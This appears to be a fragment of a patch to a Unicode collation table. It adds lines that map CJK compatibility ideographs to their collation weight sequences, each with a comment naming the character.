+FA4F      ; [.3C00.0032.0002.7950][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4F
+FA50      ; [.3C01.0039.0002.7956][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA50
+2F953     ; [.3C01.0039.0002.7956][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F953
+FA51      ; [.3C03.0023.0002.795D][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA51
+FA19      ; [.3BFE.002C.0002.795E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA19
+FA1A      ; [.3BFE.0037.0002.7965][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1A
+F93C      ; [.3BFA.0022.0002.797F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93C
+FA52      ; [.3C07.0027.0002.798D][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA52
+FA53      ; [.3C01.0044.0002.798E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA53
+FA1B      ; [.3BFC.0028.0002.798F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1B
+2F956     ; [.3BFC.0028.0002.798F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F956
+F9B6      ; [.3BFA.0023.0002.79AE][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B6
+F995      ; [.3BF7.0023.0002.79CA][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F995
+2F957     ; [.3C03.0024.0002.79EB][.3C80.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F957
+F956      ; [.3BFA.0023.0002.7A1C][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F956
+FA54      ; [.3BF5.0025.0002.7A40][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA54
+2F959     ; [.3BF5.0025.0002.7A40][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F959
+FA55      ; [.3BF8.0022.0002.7A81][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA55
+F9F7      ; [.3BFA.0022.0002.7ACB][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F7
+F9F8      ; [.3BFA.0023.0002.7B20][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F8
+FA56      ; [.3C01.0027.0002.7BC0][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA56
+FAAD      ; [.3C01.0027.0002.7BC0][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAD
+2F962     ; [.3C01.003D.0002.7BC6][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F962
+2F963     ; [.3C03.0026.0002.7BC9][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F963
+F9A6      ; [.3BFA.0025.0002.7C3E][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A6
+F944      ; [.3BFA.0026.0002.7C60][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F944
+F9F9      ; [.3BFA.0024.0002.7C92][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F9
+FA1D      ; [.3C01.0047.0002.7CBE][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1D
+FA03      ; [.3BF8.0029.0002.7CD6][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA03
+F97B      ; [.3BFA.0029.0002.7CE7][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97B
+2F96A     ; [.3BF5.004F.0002.7D00][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96A
+F9CF      ; [.3BF7.0022.0002.7D10][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CF
+F96A      ; [.3BFE.0023.0002.7D22][.3C74.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96A
+F94F      ; [.3BFA.0028.0002.7D2F][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94F
+FAAF      ; [.3C01.0063.0002.7D5B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAF
+2F96C     ; [.3BFC.0034.0002.7D63][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96C
+F93D      ; [.3BFA.0023.0002.7DA0][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93D
+F957      ; [.3BFA.0024.0002.7DBE][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F957
+2F96E     ; [.3C03.0030.0002.7DC7][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F96E
+F996      ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F996
+FA57      ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA57
+FAB0      ; [.3BFA.0027.0002.7DF4][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB0
+FA58      ; [.3C01.0036.0002.7E09][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA58
+F950      ; [.3BFA.0029.0002.7E37][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F950
+FA59      ; [.3BFC.0026.0002.7E41][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA59
+2F970     ; [.3BFE.0052.0002.7E45][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F970
+FAB1      ; [.3BFC.0035.0002.7F3E][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB1
+FA5A      ; [.3BFE.0035.0002.7F72][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5A
+F9E6      ; [.3BFA.0031.0002.7F79][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E6
+F90F      ; [.3BFA.0024.0002.7F85][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90F
+F9AF      ; [.3BFA.0029.0002.7F9A][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AF
+FA1E      ; [.3C00.0036.0002.7FBD][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1E
+2F979     ; [.3BF5.005A.0002.7FFA][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F979
+F934      ; [.3BFA.0029.0002.8001][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F934
+FA5B      ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5B
+FAB2      ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB2
+2F97A     ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97A
+F9B0      ; [.3BFA.002B.0002.8046][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B0
+F997      ; [.3BFA.0028.0002.806F][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F997
+2F97F     ; [.3C03.0028.0002.8070][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97F
+F945      ; [.3BFA.0027.0002.807E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F945
+F953      ; [.3BFA.0022.0002.808B][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F953
+2F8D6     ; [.3BF7.0023.0002.80AD][.3C80.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D6
+2F982     ; [.3C00.0024.0002.80B2][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F982
+2F985     ; [.3BFC.003F.0002.813E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F985
+F926      ; [.3BFA.0022.0002.81D8][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F926
+F9F6      ; [.3BFA.0024.0002.81E8][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F6
+FA5C      ; [.3C03.002A.0002.81ED][.3C83.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5C
+2F893     ; [.3C00.002E.0002.8201][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F893
+2F98B     ; [.3C00.002E.0002.8201][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F98B
+F97C      ; [.3BFA.002A.0002.826F][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97C
+2F990     ; [.3C00.0037.0002.828B][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F990
+2F991     ; [.3C01.003B.0002.829D][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F991
+2F993     ; [.3C07.0029.0002.82B1][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F993
+2F994     ; [.3BFC.0035.0002.82B3][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F994
+2F995     ; [.3C00.0029.0002.82BD][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F995
+F974      ; [.3C00.0023.0002.82E5][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F974
+2F998     ; [.3C00.0023.0002.82E5][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F998
+2F996     ; [.3BF5.003A.0002.82E6][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F996
+2F999     ; [.3C03.002E.0002.831D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F999
+2F99C     ; [.3C00.004C.0002.8323][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99C
+F9FE      ; [.3BF8.0022.0002.8336][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FE
+FAB3      ; [.3C07.0034.0002.8352][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB3
+2F99D     ; [.3BFB.002A.0002.83BD][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99D
+F93E      ; [.3BFA.0024.0002.83C9][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93E
+2F9A1     ; [.3BF5.0023.0002.83CA][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A1
+2F9A2     ; [.3BF5.0025.0002.83CC][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A2
+2F9A3     ; [.3C03.0029.0002.83DC][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A3
+FAB4      ; [.3C07.002A.0002.83EF][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB4
+F958      ; [.3BFA.0025.0002.83F1][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F958
+F918      ; [.3BFA.0025.0002.843D][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F918
+F96E      ; [.3C00.0023.0002.8449][.3C79.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96E
+FA5F      ; [.3C01.0034.0002.8457][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5F
+2F99F     ; [.3C01.0034.0002.8457][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99F
+F999      ; [.3BFA.0029.0002.84EE][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F999
+2F9A8     ; [.3C06.002A.0002.84F1][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A8
+F9C2      ; [.3BFA.002A.0002.84FC][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C2
+2F9AC     ; [.3C00.0062.0002.8564][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9AC
+F923      ; [.3BFA.0028.0002.85CD][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F923
+F9F0      ; [.3BFA.0025.0002.85FA][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F0
+F935      ; [.3BFA.002A.0002.8606][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F935
+F91F      ; [.3BFA.0027.0002.862D][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91F
+F910      ; [.3BFA.0025.0002.863F][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F910
+2F9B3     ; [.3C07.0023.0002.8650][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B3
+F936      ; [.3BFA.002B.0002.865C][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F936
+2F9B4     ; [.3BFA.002B.0002.865C][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B4
+2F9B5     ; [.3C07.0025.0002.8667][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B5
+2F9B7     ; [.3C03.0034.0002.86A9][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B7
+2F9BC     ; [.3C01.0026.0002.8728][.3C77.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9BC
+F911      ; [.3BFA.0026.0002.87BA][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F911
+F927      ; [.3BFA.0023.0002.881F][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F927
+FA08      ; [.3C07.0025.0002.884C][.3C74.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA08
+2F9C4     ; [.3C00.0030.0002.8863][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9C4
+F9A0      ; [.3BFA.0026.0002.88C2][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A0
+F9E7      ; [.3BFA.0034.0002.88CF][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E7
+F9E8      ; [.3BFA.0035.0002.88E1][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E8
+F912      ; [.3BFA.0027.0002.88F8][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F912
+FA60      ; [.3BF5.0028.0002.8910][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA60
+FAB6      ; [.3BF5.0034.0002.8941][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB6
+F924      ; [.3BFA.0029.0002.8964][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F924
+FAB7      ; [.3BFC.002D.0002.8986][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB7
+FA0A      ; [.3BF5.0028.0002.898B][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0A
+FA61      ; [.3BFE.0037.0002.8996][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA61
+FAB8      ; [.3BFE.0037.0002.8996][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB8
+2F9CF     ; [.3BFE.0031.0002.8AA0][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9CF
+F96F      ; [.3BFE.002B.0002.8AAA][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96F
+F9A1      ; [.3BFE.002B.0002.8AAA][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A1
+FAB9      ; [.3C01.0046.0002.8ABF][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB9
+FABB      ; [.3C03.0026.0002.8ACB][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABB
+F97D      ; [.3BFA.002B.0002.8AD2][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97D
+F941      ; [.3BFA.0021.0002.8AD6][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F941
+FABE      ; [.3C00.0046.0002.8AED][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABE
+2F9D0     ; [.3C00.0046.0002.8AED][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D0
+FA22      ; [.3C01.0030.0002.8AF8][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA22
+FABA      ; [.3C01.0030.0002.8AF8][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABA
+F95D      ; [.3BF7.0021.0002.8AFE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95D
+FABD      ; [.3BF7.0021.0002.8AFE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABD
+FA62      ; [.3C00.0022.0002.8B01][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA62
+FABC      ; [.3C00.0022.0002.8B01][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABC
+FA63      ; [.3BF5.002D.0002.8B39][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA63
+FABF      ; [.3BF5.002D.0002.8B39][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABF
+F9FC      ; [.3BFE.002C.0002.8B58][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FC
+F95A      ; [.3BF8.002A.0002.8B80][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95A
+FAC0      ; [.3BFC.0023.0002.8B8A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC0
+2F9D1     ; [.3BFC.0023.0002.8B8A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D1
+F900      ; [.3BF5.0057.0002.8C48][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F900
+2F9D2     ; [.3BFE.003B.0002.8C55][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D2
+2F9D4     ; [.3BF5.002E.0002.8CAB][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D4
+2F9D5     ; [.3BFC.0032.0002.8CC1][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D5
+F948      ; [.3BFA.0025.0002.8CC2][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F948
+F903      ; [.3BF5.0039.0002.8CC8][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F903
+FA64      ; [.3BFC.002D.0002.8CD3][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA64
+FA65      ; [.3C01.002B.0002.8D08][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA65
+FAC1      ; [.3C01.002B.0002.8D08][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC1
+2F9D6     ; [.3BF5.0039.0002.8D1B][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D6
+2F9D7     ; [.3BF5.0058.0002.8D77][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D7
+2F9DA     ; [.3BFC.0027.0002.8DCB][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DA
+F937      ; [.3BFA.002C.0002.8DEF][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F937
+F902      ; [.3C03.002D.0002.8ECA][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F902
+F998      ; [.3BFA.002A.0002.8F26][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F998
+F9D7      ; [.3BFA.0026.0002.8F2A][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D7
+FAC2      ; [.3BFE.004F.0002.8F38][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC2
+2F9DF     ; [.3BFE.004F.0002.8F38][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DF
+FA07      ; [.3BFC.002F.0002.8F3B][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA07
+F98D      ; [.3BFA.0026.0002.8F62][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98D
+F971      ; [.3C01.003E.0002.8FB0][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F971
+F99A      ; [.3BFA.002B.0002.9023][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99A
+FA25      ; [.3C00.0027.0002.9038][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA25
+FA67      ; [.3C00.0027.0002.9038][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA67
+FAC3      ; [.3C01.0041.0002.9072][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC3
+F9C3      ; [.3BFA.002B.0002.907C][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C3
+F913      ; [.3BFA.0028.0002.908F][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F913
+FA2E      ; [.3BFA.0028.0002.90DE][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2E
+FA26      ; [.3BF8.0045.0002.90FD][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA26
+F919      ; [.3BFA.0026.0002.916A][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F919
+F9B7      ; [.3BFA.0024.0002.91B4][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B7
+F9E9      ; [.3BFA.0036.0002.91CC][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E9
+F97E      ; [.3BFA.002D.0002.91CF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97E
+F90A      ; [.3BF5.0021.0002.91D1][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90A
+F9B1      ; [.3BFA.002D.0002.9234][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B1
+2F9E7     ; [.3BFC.002F.0002.9238][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E7
+2F9EA     ; [.3BFC.0039.0002.927C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EA
+2F9E8     ; [.3C07.003F.0002.92D7][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E8
+F93F      ; [.3BFA.0025.0002.9304][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93F
+F99B      ; [.3BFA.002C.0002.934A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99B
+2F9EE     ; [.3BF5.0033.0002.958B][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EE
+F986      ; [.3BFA.002E.0002.95AD][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F986
+F9C6      ; [.3C00.0031.0002.962E][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C6
+F951      ; [.3BFA.002D.0002.964B][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F951
+FA09      ; [.3BF5.0037.0002.964D][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA09
+F959      ; [.3BFA.0026.0002.9675][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F959
+F9D3      ; [.3BFA.0023.0002.9678][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D3
+FAC6      ; [.3C01.004E.0002.967C][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC6
+F9DC      ; [.3BFA.0021.0002.9686][.3C84.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DC
+F9F1      ; [.3BFA.0027.0002.96A3][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F1
+FA2F      ; [.3BFA.0025.0002.96B7][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2F
+F9B8      ; [.3BFA.0026.0002.96B8][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B8
+F9EA      ; [.3BFA.0038.0002.96E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EA
+FA68      ; [.3BF7.0023.0002.96E3][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA68
+FAC7      ; [.3BF7.0023.0002.96E3][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC7
+F9B2      ; [.3BFA.002E.0002.96F6][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B2
+F949      ; [.3BFA.0028.0002.96F7][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F949
+2F9F5     ; [.3C00.0031.0002.9723][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9F5
+F938      ; [.3BFA.002E.0002.9732][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F938
+F9B3      ; [.3BFA.002F.0002.9748][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B3
+FA1C      ; [.3C01.0054.0002.9756][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1C
+FAC8      ; [.3C01.0054.0002.9756][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC8
+2F9FA     ; [.3C06.0034.0002.97E0][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9FA
+FA69      ; [.3C07.0026.0002.97FF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA69
+FACA      ; [.3C07.0026.0002.97FF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACA
+F9B4      ; [.3BFA.0030.0002.9818][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B4
+FA6A      ; [.3BFC.002E.0002.983B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA6A
+FACC      ; [.3BFC.002E.0002.983B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACC
+F9D0      ; [.3BFA.002E.0002.985E][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D0
